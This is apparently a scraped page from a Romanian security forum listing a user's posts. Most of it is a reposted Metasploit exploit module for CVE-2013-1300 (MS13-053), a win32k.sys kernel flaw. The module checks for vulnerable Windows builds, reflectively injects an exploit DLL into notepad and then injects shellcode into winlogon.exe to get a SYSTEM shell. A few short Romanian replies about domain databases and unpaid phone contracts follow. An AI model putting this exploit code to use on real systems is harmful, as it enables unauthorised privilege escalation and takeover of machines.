'CVE', '2013-1300' ], [ 'MSB', 'MS13-053' ], [ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ] ], 'DisclosureDate' => 'Dec 01 2013', 'DefaultTarget' => 0 })) end def check os = sysinfo["OS"] unless (os =~ /windows/i) return Exploit::CheckCode::Unknown end file_path = expand_path("%windir%") << "\\system32\\win32k.sys" major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") case build when 7600 return Exploit::CheckCode::Vulnerable when 7601 if branch == 18 return Exploit::CheckCode::Vulnerable if revision < 18176 else return Exploit::CheckCode::Vulnerable if revision < 22348 end end return Exploit::CheckCode::Unknown end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end print_status("Launching notepad to host the exploit...") notepad_process_pid = cmd_exec_get_pid("notepad.exe") begin process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError print_status("Operation failed. Hosting exploit in the current process...") process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll") library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) thread = process.thread.create(exploit_mem + offset) client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) client.sys.process.each_process do |p| if p['name'] == "winlogon.exe" winlogon_pid = p['pid'] print_status("Found winlogon.exe with PID #{winlogon_pid}") if execute_shellcode(payload.encoded, nil, winlogon_pid) print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell") else print_error("Failed to start payload thread") end break end end end end Sursa: http://www.exploit-db.com/exploits/33213/ Info: https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/
  22. Scrie chiar acolo pe pagina: "Note: For those of you interested, as of August 2012, my database has grown to over 60 million domain names. I am now offering this domain list for purchase."
  23. Yougetsignal are o mare baza de date IP-domeniu, nu cauta pe bing.
  24. Din cate stiu eu, din cazul unui prieten, nu a mai platit abonamentul si nu a avut probleme cu justitia/bancile sau mai stiu eu ce, doar ca cei din familia sa, TOTI, nu mai aveau dreptul sa isi faca abonament la compania respectiva. Cred ca Vodafone era.
  25. Factura nu e obligatorie. O sa iti zica "aduci cand mai treci pe aici". Zici ca nu ai la tine si gata. Nu am inteles exact ce vrei sa zici. "numai" sau "nu mai"? Si de ce sa te dea in judecata?
×
×
  • Create New...